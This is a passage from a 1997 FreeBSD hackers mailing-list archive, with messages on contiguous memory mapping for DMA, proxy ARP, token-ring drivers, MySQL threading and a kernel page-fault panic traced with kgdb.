packet should be dma'ed into. This may be a reasonable > restriction though. Urg. You need a "MAP_CONTIG" argument to mmap(), it seems... As far as multiple processes are concerned, it's not really a problem; you could mmap() a real file instead, or you could pass the descriptor or use vfork(), etc.; there are a lot of ways around that one. But you're right, it's a pretty reasonable restriction without that. > >Obviously, if the mmap() stuff was fixed, the kernel mapping > >would go away, so this might be a consideration. > > The above is mainly why all the buffers come straight from the kernel. > It is the only way to allocate a contiguous chunk of memory upon boot. Yep; there needs to be a MAP_CONTIG. I could see using it for user space DMA for other things as well: like camera drivers. > >On the other hand, the per-process descriptor table must be present > >for your process to be running anyway, and it's unlikely to be > >LRU'ed out -- especially if, on I/O request, you pin the pages > >and have the completion unpin the pages? > > The general idea is to have a dual mapping throughout the entire time > that you are using the device. Then you should pin the pages. If you are DMA'ing (duh! I should have realized this last time!), then you are dealing with physical addresses. So pinning needs to be a side effect of MAP_CONTIG (makes sense; it wouldn't *be* contiguous if it were swapped. 8-)). I think John Dyson touched mmap(0 last... ;-). Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue Aug 12 09:25:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA01909 for hackers-outgoing; Tue, 12 Aug 1997 09:25:01 -0700 (PDT) Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA01878 for ; Tue, 12 Aug 1997 09:24:33 -0700 (PDT) Received: from sexta.cs.huji.ac.il by cs.huji.ac.il with SMTP id AA28383 (5.67b/HUJI 4.153 for ); Tue, 12 Aug 1997 19:23:58 +0300 Received: from sexta.cs.huji.ac.il (danny@localhost [127.0.0.1]) by sexta.cs.huji.ac.il (8.8.5/1.1c) with ESMTP id TAA17934 for ; Tue, 12 Aug 1997 19:23:57 +0300 (IDT) Message-Id: <199708121623.TAA17934@sexta.cs.huji.ac.il> To: hackers@FreeBSD.ORG Subject: PROXY ARP Date: Tue, 12 Aug 1997 19:23:57 +0300 From: Danny Braniss Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk From: Danny Braniss hello all, I guess this is more a Net/3 item but ... I'm trying to set up a host with 2 NICS, and want it to act as a proxy arp gateway/router (I think the term is L2-Bridging?). Looking at the kernel sources, i see that FreeBsd has fix so as not to send ARP Reply to the 'wrong' interface, but there are, IMHO, some other problems. Since im not sure this is the correct forum, if someone out there is willing to hear me out, i'll be much oblidged. danny -- Daniel Braniss e-mail: danny@cs.huji.ac.il Institute of Computer Science phone: +972 2 658 4385 The Hebrew University Fax: +972 2 561 7723 Jerusalem, Israel From owner-freebsd-hackers Tue Aug 12 09:26:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA02033 for hackers-outgoing; Tue, 12 Aug 1997 09:26:58 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA02020 for ; Tue, 12 Aug 1997 09:26:51 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA25486; Tue, 12 Aug 1997 09:22:13 -0700 From: Terry Lambert Message-Id: <199708121622.JAA25486@phaeton.artisoft.com> Subject: Re: Does anyone know of token-ring ethernet bridging software? To: marc@bowtie.nl Date: Tue, 12 Aug 1997 09:22:13 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: <199708120808.KAA03181@nietzsche.bowtie.nl> from "Marc van Kempen" at Aug 12, 97 10:08:50 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > This is a bit offtopic, but not entirely, since it involves a > FreeBSD server. > > Does anyone know of software to turn a PC into a ethernet-token ring > bridge (or router)? I need to route mail from an ethernet LAN to a > token-ring LAN, and FreeBSD (unfortunately) does not support token-ring > cards. Funny... one or more of these people have drivers... Larry Lile Krish. James Risner Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue Aug 12 09:35:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA02598 for hackers-outgoing; Tue, 12 Aug 1997 09:35:04 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA02576 for ; Tue, 12 Aug 1997 09:34:59 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA25517; Tue, 12 Aug 1997 09:29:31 -0700 From: Terry Lambert Message-Id: <199708121629.JAA25517@phaeton.artisoft.com> Subject: Re: your mail To: jamil@counterintelligence.ml.org (Jamil J. Weatherbee) Date: Tue, 12 Aug 1997 09:29:30 -0700 (MST) Cc: Shimon@i-Connect.Net, FreeBSD-Hackers@FreeBSD.ORG In-Reply-To: from "Jamil J. Weatherbee" at Aug 12, 97 02:10:51 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > This is definetly not something that would become part of a production > kernel -- seems that it is far to specific, the bsd kernel is not a > database engine, that's what mmap is for. Supporting this type of thing without having to actually put it in the kernel to make it work is what LKM's are for. Personally, I think there is a lot of room for purpose-built FS's and FS layers. I've been looking back into a generic block store, recently: a flat numeric namespace, on top of which other namespaces are implemented. It's one level of abstraction up from a device interface, and would provide a consistent, cross-platform bottom-end definition: the FS layers could be divorced from FreeBSD or OpenBSD or NetBSD or BSDI or SVR4 or Windows95 VM semantics. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue Aug 12 10:31:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA05854 for hackers-outgoing; Tue, 12 Aug 1997 10:31:56 -0700 (PDT) Received: from super-g.inch.com (super-g.com [207.240.140.161]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA05844 for ; Tue, 12 Aug 1997 10:31:49 -0700 (PDT) Received: from localhost (spork@localhost) by super-g.inch.com (8.8.5/8.8.5) with SMTP id RAA03557; Tue, 12 Aug 1997 17:31:09 -0400 (EDT) Date: Tue, 12 Aug 1997 17:31:09 -0400 (EDT) From: spork X-Sender: spork@super-g.inch.com To: "Jamil J. Weatherbee" cc: Paul Southworth , freebsd-hackers@FreeBSD.ORG Subject: Re: mysql: MySQL for FreeBSD 3.0 (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Check the mysql homepage (www.tcx.se)... I downloaded a 32-bit ODBC driver there. I believe there are also JDBC bits and pieces available. Charles On Mon, 11 Aug 1997, Jamil J. Weatherbee wrote: > > > Speaking of mysql can someone give me an idea if it is possible to have > mysql look like a sql (or any other commercial sql server) to a windows nt > client. I want to set up a sql server on my freebsd machine (are there any > commercial sql servers that are _easy_ to get to work with nt as a client > [micro$oft access denied] ) I am willing to pay { well to a reasonable > extent } since it is to be for commercial use, of course I like the fact > that msql has a c library interface --- but how to get i so that access > can look at some tables. > > > > > On Mon, 11 Aug 1997, Paul Southworth wrote: > > > > > Test release is available for people who want to try MySQL using FreeBSD > > 3.0 native threads. > > > > ---------- Forwarded message ---------- > > Date: Mon, 11 Aug 1997 12:27:55 +0300 (EET DST) > > From: monty@tcx.se > > Reply-To: monty@analytikerna.se, mysql@tcx.se > > To: mysql@tcx.se, mysql-announce@tcx.se > > Subject: mysql: MySQL for FreeBSD 3.0 > > > > > > For those that want to test MySQL on FreeBSD 3.0 with native threads > > and sockets, there is now a binary version available. This can be found > > at 'http://www.tcx.se/.' > > > > This is a port of the 3.21.5 version. If one want's to compile this > > oneself on can get: > > > > ftp://www.tcx.se/pub/mysql/hidden/mysql-3.21.5-alpha.tar.gz > > > > NOTE: > > > > One must install the FreeBSD libc_r patch BEFORE configuring the > > source version. > > > > >From INSTALL-SOURCE: > > > > ------ > > The pthreads library for FreeBSD doesn't contain the sigwait function > > and there is some bugs in it. To fix this, get the FreeBSD-3.0-libc_r-1.0.diff > > file and run this in the /usr/src/lib/libc_r/uthread directory. Follow after > > this the instructions that can be found with 'man pthread' about how to > > recompile the libc_r library. > > > > You can test if you have a 'modern' libpthread.a with: > > > > > nm /usr/lib/libpthread.a | grep sigwait. > > > > If the above doesn't find sigwait you have to use the above patch and recompile > > libc_r. > > > > ------- > > > > Yours, Monty > > > > > From owner-freebsd-hackers Tue Aug 12 10:49:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA06736 for hackers-outgoing; Tue, 12 Aug 1997 10:49:17 -0700 (PDT) Received: from cynic.portal.ca (root@cynic.portal.ca [204.174.36.7]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA06731 for ; Tue, 12 Aug 1997 10:49:13 -0700 (PDT) Received: from localhost ([[UNIX: localhost]]) by cynic.portal.ca (8.8.5/8.8.5) with SMTP id KAA06285; Tue, 12 Aug 1997 10:49:10 -0700 (PDT) X-Authentication-Warning: cynic.portal.ca: cjs owned process doing -bs Date: Tue, 12 Aug 1997 10:49:04 -0700 (PDT) From: Curt Sampson To: Chris Csanady cc: freebsd-hackers@FreeBSD.ORG Subject: Re: DISCUSS: interface for raw network driver.. In-Reply-To: <199708120254.VAA04339@friley01.res.iastate.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 11 Aug 1997, Chris Csanady wrote: > >want to see how to deal with TCP/IP over Gigabit Ethernet, I really > >strongly recommend reading ``DART: Fast Application-Level Networking > >via Data-Copy Avoidance'' by Robert J. Walsh in The July/August > >1997 (v 11 n 4) issue of _IEEE Network_. > > Do you have a url? Although I definately don't have the time to > reimplement a large chunck of the TCP/IP stack, I am definately > interested. You can find info on the magazine at . The article itself does not appear to be on-line. cjs Curt Sampson cjs@portal.ca Info at http://www.portal.ca/ Internet Portal Services, Inc. Through infinite myst, software reverberates Vancouver, BC (604) 257-9400 In code possess'd of invisible folly. From owner-freebsd-hackers Tue Aug 12 12:16:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA12201 for hackers-outgoing; Tue, 12 Aug 1997 12:16:01 -0700 (PDT) Received: from shell.monmouth.com (root@shell.monmouth.com [205.164.220.9]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA12189 for ; Tue, 12 Aug 1997 12:15:57 -0700 (PDT) Received: from i4got.lakewood.com (fh-ppp24.monmouth.com [205.164.221.56]) by shell.monmouth.com (8.8.5/8.7.3) with ESMTP id PAA17862; Tue, 12 Aug 1997 15:13:24 -0400 (EDT) Received: (from pechter@localhost) by i4got.lakewood.com id PAA04462 (8.8.5/IDA-1.6); Tue, 12 Aug 1997 15:15:48 -0400 (EDT) From: Bill Pechter Message-ID: <199708121915.PAA04462@i4got.lakewood.com> Subject: Re: Does anyone know of token-ring ethernet bridging software? In-Reply-To: <199708121622.JAA25486@phaeton.artisoft.com> from Terry Lambert at "Aug 12, 97 09:22:13 am" To: terry@lambert.org (Terry Lambert) Date: Tue, 12 Aug 1997 15:15:47 -0400 (EDT) Cc: hackers@freebsd.org Reply-to: pechter@lakewood.com X-Phone-Number: 908-389-3592 X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > This is a bit offtopic, but not entirely, since it involves a > > FreeBSD server. > > > > Does anyone know of software to turn a PC into a ethernet-token ring > > bridge (or router)? I need to route mail from an ethernet LAN to a > > token-ring LAN, and FreeBSD (unfortunately) does not support token-ring > > cards. > > Funny... one or more of these people have drivers... > > Larry Lile > Krish. > James Risner > Really. Anyone going to get 'em integrated into -RELEASE for FBSD3? Boy, I'd really love to see this... I'd be running it at work in a minute. Bill ------------------------------------------------------------------------------ Bill Pechter | 17 Meredith Drive Tinton Falls, NJ 07724 | 908-389-3592 pechter@lakewood.com | Save computing history, give an old geek old hardware. This msg brought to you by the letters PDP and the number 11. From owner-freebsd-hackers Tue Aug 12 12:28:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA12985 for hackers-outgoing; Tue, 12 Aug 1997 12:28:22 -0700 (PDT) Received: from ns2.gamespot.com (ns2.gamespot.com [206.169.18.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA12979 for ; Tue, 12 Aug 1997 12:28:19 -0700 (PDT) Received: from tiramisu.gamespot.com (tiramisu.gamespot.com [206.169.18.119]) by ns2.gamespot.com (8.8.5/8.8.5) with SMTP id MAA28780; Tue, 12 Aug 1997 12:27:57 -0700 (PDT) Message-Id: <3.0.3.32.19970812122942.01285af0@mail.gamespot.com> X-Sender: ian@mail.gamespot.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Tue, 12 Aug 1997 12:29:42 -0700 To: freebsd-hackers@freebsd.org From: Ian Kallen Subject: (Event 8/14) SF Bay Area FreeBSD User's Group Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk What OS do you want to outperform today? Meet and join the folks who are turning PC's into workstations, the San Francisco Bay Area FreeBSD User's Group meets again! Where: Silicon Reef 3057 17th Street San Francisco, CA http://www.arachna.com/freebsd/reef_map.html When: Thursday August 14th, 1997 @ 7:30 pm Who: Hackers, nerds, newbies and other FreeBSD developers and enthusiasts What: http://www.arachna.com/freebsd/freebsd-sf.html -- Ian Kallen ian@gamespot.com Director of Technology and Web Administration SpotMedia Communications http://www.gamespot.com/ http://www.videogamespot.com/ From owner-freebsd-hackers Tue Aug 12 14:11:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA20752 for hackers-outgoing; Tue, 12 Aug 1997 14:11:45 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA20736 for ; Tue, 12 Aug 1997 14:11:33 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id OAA26318 for ; Tue, 12 Aug 1997 14:00:35 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd026312; Tue Aug 12 21:00:29 1997 Message-ID: <33F0CE62.6102D7B7@whistle.com> Date: Tue, 12 Aug 1997 13:58:10 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: hackers@freebsd.org Subject: 2.2.2+ kernel panic Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk what's wrong with this picture? #0 boot (howto=260) at ../../kern/kern_shutdown.c:243 #1 0xf010cfd2 in panic (fmt=0xf017158f "page fault") at ../../kern/kern_shutdown.c:367 #2 0xf01720f6 in trap_fatal (frame=0xefbffb20) at ../../i386/i386/trap.c:742 #3 0xf0171be4 in trap_pfault (frame=0xefbffb20, usermode=0) at ../../i386/i386/trap.c:653 #4 0xf01718bf in trap (frame={tf_es = 16, tf_ds = 16, tf_edi = -260688384, tf_esi = 0, tf_ebp = -272630932, tf_isp = -272630968, tf_ebx = -260578816, tf_edx = 0, tf_ecx = -260888576, tf_eax = -260286976, tf_trapno = 12, tf_err = -260505600, tf_eip = -267219466, tf_cs = -266797048, tf_eflags = 65606, tf_esp = 0, tf_ss = -260578816}) at ../../i386/i386/trap.c:311 #5 0xf0128df6 in vget (vp=0xf077e200, lockflag=1) at ../../kern/vfs_subr.c:817 See below.. #6 0xf015342c in ffs_sync (mp=0xf0745e00, waitfor=2, cred=0xf04c0b80, p=0xf01be850) at ../../ufs/ffs/ffs_vfsops.c:819 #7 0xf012a2ab in sync (p=0xf01be850, uap=0x0, retval=0x0) at ../../kern/vfs_syscalls.c:357 #8 0xf010cbdd in boot (howto=256) at ../../kern/kern_shutdown.c:181 #9 0xf010cfd2 in panic (fmt=0xf017158f "page fault") at ../../kern/kern_shutdown.c:367 #10 0xf01720f6 in trap_fatal (frame=0xefbffca4) at ../../i386/i386/trap.c:742 #11 0xf0171be4 in trap_pfault (frame=0xefbffca4, usermode=0) at ../../i386/i386/trap.c:653 #12 0xf01718bf in trap (frame={tf_es = -272695280, tf_ds = -272695280, tf_edi = 33816576, tf_esi = -266607784, tf_ebp = -272630516, tf_isp = -272630580, tf_ebx = 8, tf_edx = 0, tf_ecx = -260173824, tf_eax = -266606616, tf_trapno = 12, tf_err = -227409918, tf_eip = -266923108, tf_cs = -266862584, tf_eflags = 65543, tf_esp = -267325485, tf_ss = -260173824}) at ../../i386/i386/trap.c:311 #13 0xf017139c in nortqr () #14 0xf010eb25 in tsleep (ident=0xf272f698, priority=4, wmesg=0xf015bead "swread", timo=2000) at ../../kern/kern_synch.c:361 #15 0xf015c380 in swap_pager_getpages (object=0xf07e9080, m=0xefbffe54, count=2, reqpage=1) at ../../vm/swap_pager.c:1032 #16 0xf01670f7 in vm_pager_get_pages (object=0xf07e9080, m=0xefbffe54, count=2, reqpage=1) at ../../vm/vm_pager.c:188 #17 0xf015da16 in vm_fault (map=0xf07e3d00, vaddr=4022325248, fault_type=3 '\003', change_wiring=0) at ../../vm/vm_fault.c:426 #18 0xf0171b78 in trap_pfault (frame=0xefbffed4, usermode=0) at ../../i386/i386/trap.c:633 #19 0xf01718bf in trap (frame={tf_es = -260177904, tf_ds = 16, tf_edi = -272639468, tf_esi = -272629956, tf_ebp = -272629952, tf_isp = -272630020, tf_ebx = 4, tf_edx = 6, tf_ecx = 1, tf_eax = -272639464, tf_trapno = 12, tf_err = 2, tf_eip = -266924675, tf_cs = -272695288, tf_eflags = 66050, tf_esp = -260108800, tf_ss = -272629884}) at ../../i386/i386/trap.c:311 #20 0xf0170d7d in generic_copyout () #21 0xf01075ff in wait4 (p=0xf07e1000, uap=0xefbfff94, retval=0xefbfff84) at ../../kern/kern_exit.c:357 #22 0xf0172333 in syscall (frame={tf_es = 39, tf_ds = 39, tf_edi = 3, tf_esi = 0, tf_ebp = -272639532, tf_isp = -272629788, tf_ebx = 134705248, tf_edx = 0, tf_ecx = 0, tf_eax = 7, tf_trapno = 12, tf_err = 7, tf_eip = 134489121, tf_cs = 31, tf_eflags = 534, tf_esp = -272639556, tf_ss = 39}) at ../../i386/i386/trap.c:890 #23 0x8042421 in ?? () Cannot access memory at address 0xefbfd9d8. (kgdb) up 5 #5 0xf0128df6 in vget (vp=0xf077e200, lockflag=1) at ../../kern/vfs_subr.c:817 817 vfs_object_create(vp, curproc, curproc->p_ucred, 0); (kgdb) list 812 * Create the VM object, if needed 813 */ 814 if ((vp->v_type == VREG) && 815 ((vp->v_object == NULL) || 816 (vp->v_object->flags & OBJ_VFS_REF) == 0)) { 817 vfs_object_create(vp, curproc, curproc->p_ucred, 0); 818 } 819 if (lockflag) 820 VOP_LOCK(vp); 821 (kgdb) print curproc $1 = (struct proc *) 0x0 I have the entire kernel compiled with -g the kernel that was running was compiled -g and stripped. (strip -d) if anyone has suggestions of something that I should look at, let me know. julian (investigations ongoing here also) From owner-freebsd-hackers Tue Aug 12 14:53:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA23595 for hackers-outgoing; Tue, 12 Aug 1997 14:53:02 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA23584 for ; Tue, 12 Aug 1997 14:52:56 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id OAA27962 for ; Tue, 12 Aug 1997 14:47:43 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd027959; Tue Aug 12 21:47:42 1997 Message-ID: <33F0D972.398A68D@whistle.com> Date: Tue, 12 Aug 1997 14:45:23 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: hackers@freebsd.org Subject: krnel panic in 2.2.2+ (continued) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk eek I need to read better! #12 0xf01718bf in trap (frame={tf_es = -272695280, tf_ds = -272695280, tf_edi = 33816576, tf_esi = -266607784, tf_ebp = -272630516, tf_isp = -272630580, tf_ebx = 8, tf_edx = 0, tf_ecx = -260173824, tf_eax = -266606616, tf_trapno = 12, tf_err = -227409918, tf_eip = -266923108, tf_cs = -266862584, tf_eflags = 65543, tf_esp = -267325485, tf_ss = -260173824}) at ../../i386/i386/trap.c:311 #13 0xf017139c in nortqr () #14 0xf010eb25 in tsleep (ident=0xf272f698, priority=4, wmesg=0xf015bead "swread", timo=2000) at ../../kern/kern_synch.c:361 #15 0xf015c380 in swap_pager_getpages (object=0xf07e9080, m=0xefbffe54, count=2, reqpage=1) at ../../vm/swap_pager.c:1032 #16 0xf01670f7 in vm_pager_get_pages (object=0xf07e9080, m=0xefbffe54, count=2, reqpage=1) at ../../vm/vm_pager.c:188 #17 0xf015da16 in vm_fault (map=0xf07e3d00, vaddr=4022325248, fault_type=3 '\003', change_wiring=0) at ../../vm/vm_fault.c:426 #18 0xf0171b78 in trap_pfault (frame=0xefbffed4, usermode=0) at ../../i386/i386/trap.c:633 #19 0xf01718bf in trap (frame={tf_es = -260177904, tf_ds = 16, tf_edi = -272639468, tf_esi = -272629956, tf_ebp = -272629952, tf_isp = -272630020, tf_ebx = 4, tf_edx = 6, tf_ecx = 1, tf_eax = -272639464, tf_trapno = 12, tf_err = 2, tf_eip = -266924675, tf_cs = -272695288, tf_eflags = 66050, tf_esp = -260108800, tf_ss = -272629884}) at ../../i386/i386/trap.c:311 #20 0xf0170d7d in generic_copyout () #21 0xf01075ff in wait4 (p=0xf07e1000, uap=0xefbfff94, retval=0xefbfff84) at ../../kern/kern_exit.c:357 #22 0xf0172333 in syscall (frame={tf_es = 39, tf_ds = 39, tf_edi = 3, tf_esi = 0, tf_ebp = -272639532, tf_isp = -272629788, tf_ebx = 134705248, tf_edx = 0, tf_ecx = 0, tf_eax = 7, tf_trapno = 12, tf_err = 7, tf_eip = 134489121, tf_cs = 31, tf_eflags = 534, tf_esp = -272639556, tf_ss = 39}) at ../../i386/i386/trap.c:890 #23 0x8042421 in ?? () Cannot access memory at address 0xefbfd9d8. (kgdb) disassemble nortqr Dump of assembler code for function nortqr: 0xf017137c : movl 0xf01a0564,%edi 0xf0171382 : bsfl %edi,%ebx 0xf0171385 : je 0xf01713ae 0xf0171387 : btrl %ebx,%edi 0xf017138a : leal 0xf01be318(,%ebx,8),%eax 0xf0171391 : movl %eax,%esi 0xf0171393 : movl (%eax),%ecx 0xf0171395 : movl (%ecx),%edx 0xf0171397 : movl %edx,(%eax) 0xf0171399 : movl 0x4(%ecx),%eax 0xf017139c : movl %eax,0x4(%edx) <-------------- 0xf017139f : cmpl (%ecx),%esi 0xf01713a1 : je 0xf01713a6 0xf01713a3 : btsl %ebx,%edi 0xf01713a6 : movl %edi,0xf01a0564 0xf01713ac : jmp 0xf01713e2 End of assembler dump. or: in the .s file: nortqr: movl _whichqs,%edi 2: /* XXX - bsf is sloow */ bsfl %edi,%ebx /* find a full q */ jz idqr /* if none, idle */ /* XX update whichqs? */ btrl %ebx,%edi /* clear q full status */ leal _qs(,%ebx,8),%eax /* select q */ movl %eax,%esi movl P_FORW(%eax),%ecx /* unlink from front of process q */ movl P_FORW(%ecx),%edx movl %edx,P_FORW(%eax) movl P_BACK(%ecx),%eax movl %eax,P_BACK(%edx) <--------------------- cmpl P_FORW(%ecx),%esi /* q empty */ je 3f btsl %ebx,%edi /* nope, set to indicate not empty * / 3: movl %edi,_whichqs /* update q status */ jmp swtch_com (kgdb) info reg eax 0x0 0 ecx 0x0 0 edx 0x0 0 ebx 0x8 8 esp 0xefbffa6c 0xefbffa6c ebp 0xefbffd0c 0xefbffd0c esi 0xf01be358 -266607784 edi 0x2040000 33816576 eip 0xf0169961 0xf0169961 eflags 0x0 0 cs 0x0 0 ss 0x0 0 ds 0x0 0 es 0x0 0 #12 0xf01718bf in trap (frame={tf_es = -272695280, tf_ds = -272695280, tf_edi = 33816576, tf_esi = -266607784, tf_ebp = -272630516, tf_isp = -272630580, tf_ebx = 8, tf_edx = 0, tf_ecx = -260173824, tf_eax = -266606616, tf_trapno = 12, tf_err = -227409918, tf_eip = -266923108, tf_cs = -266862584, tf_eflags = 65543, tf_esp = -267325485, tf_ss = -260173824}) at ../../i386/i386/trap.c:311 311 (void) trap_pfault(&frame, FALSE); (kgdb) x/x -227409918 0xf2720002 : Cannot access memory at address 0xf2720002. 0xf017139c : movl %eax,0x4(%edx) <-------------- edx == 0 so fault address SHOULD be 4 the panic MESSAGE has the right address.. (0x4) Aug 12 08:27 Critical: /kernel: Fatal trap 12: page fault while in kernel mode Aug 12 08:27 Critical: /kernel: fault virtual address = 0x4 Aug 12 08:27 Critical: /kernel: fault code = supervisor write, page not present Aug 12 08:27 Critical: /kernel: instruction pointer = 0x8:0xf017139c Aug 12 08:27 Critical: /kernel: stack pointer = 0x10:0xefbffce0 Aug 12 08:27 Critical: /kernel: frame pointer = 0x10:0xefbffd0c Aug 12 08:27 Critical: /kernel: code segment = base 0x0, limit 0xfffff, type 0x1b Aug 12 08:27 Critical: /kernel: = DPL 0, pres 1, def32 1, gran 1 Aug 12 08:27 Critical: /kernel: processor eflags = resume, IOPL = 0 Aug 12 08:27 Critical: /kernel: current process = Idle Aug 12 08:27 Critical: /kernel: interrupt mask = net tty bio Aug 12 08:27 Critical: /kernel: panic: page fault Aug 12 08:27 Critical: /kernel: Aug 12 08:27 Critical: /kernel: syncing disks... more info to come... From owner-freebsd-hackers Tue Aug 12 15:29:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA26242 for hackers-outgoing; Tue, 12 Aug 1997 15:29:43 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA26234 for ; Tue, 12 Aug 1997 15:29:37 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.6/8.8.6) with SMTP id PAA12572 for ; Tue, 12 Aug 1997 15:29:36 -0700 (PDT) Date: Tue, 12 Aug 1997 15:29:35 -0700 (PDT) From: Jaye Mathisen To: hackers@freebsd.org Subject: What's the interest in standard tools rewritten in perl? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I was in the process of adding some flexibility to newsyslog, and decided to just rewrite the darn thing in perl5. Essentially I added the ability to datestamp the logfiles, and a couple of other things. I can always call it something else (newnewsyslog?), but I was wondering if FreeBSD Inc would consider utilities that were not written in C? Seems like there was some discussion about lack of tools in TCL and Perl, but I'm not sure about the politics of tool replacement, as opposed to tool addition. Anyway, just curious. From owner-freebsd-hackers Tue Aug 12 15:53:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA27920 for hackers-outgoing; Tue, 12 Aug 1997 15:53:22 -0700 (PDT) Received: from Octopussy.MI.Uni-Koeln.DE (Octopussy.MI.Uni-Koeln.DE [134.95.166.20]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA27915; Tue, 12 Aug 1997 15:53:16 -0700 (PDT) Received: from x14.mi.uni-koeln.de ([134.95.219.124]) by Octopussy.MI.Uni-Koeln.DE with SMTP id AA01147 (5.67b/IDA-1.5); Wed, 13 Aug 1997 00:53:07 +0200 Received: (from se@localhost) by x14.mi.uni-koeln.de (8.8.6/8.6.9) id XAA01083; Tue, 12 Aug 1997 23:49:42 +0200 (CEST) X-Face: " Date: Tue, 12 Aug 1997 23:49:41 +0200 From: Stefan Esser To: Nadav Eiron Cc: hackers@FreeBSD.ORG, Stefan Esser Subject: Re: NCR 810 fatal errors during install. (desperate plea) References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.74 In-Reply-To: ; from Nadav Eiron on Tue, Aug 12, 1997 at 05:33:53PM +0300 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Aug 12, Nadav Eiron wrote: > I've already tried the following on questions and scsi to no avail. Since Hmmm, had not seen it before ... > We have here a DECpc XL 590 (it used to be a 466, but got upgraded > recently). This machine has a Nepture chipset, built-in NCR 53C810, 32MB RAM > and a DE435 ethernet card. Wasn't the neptun buggy and known to fail if used with multiple bus-master cards ? (Please try to boot with both caches disabled and let me know, whether you see the same problem.) > On the SCSI bus I have: > ID 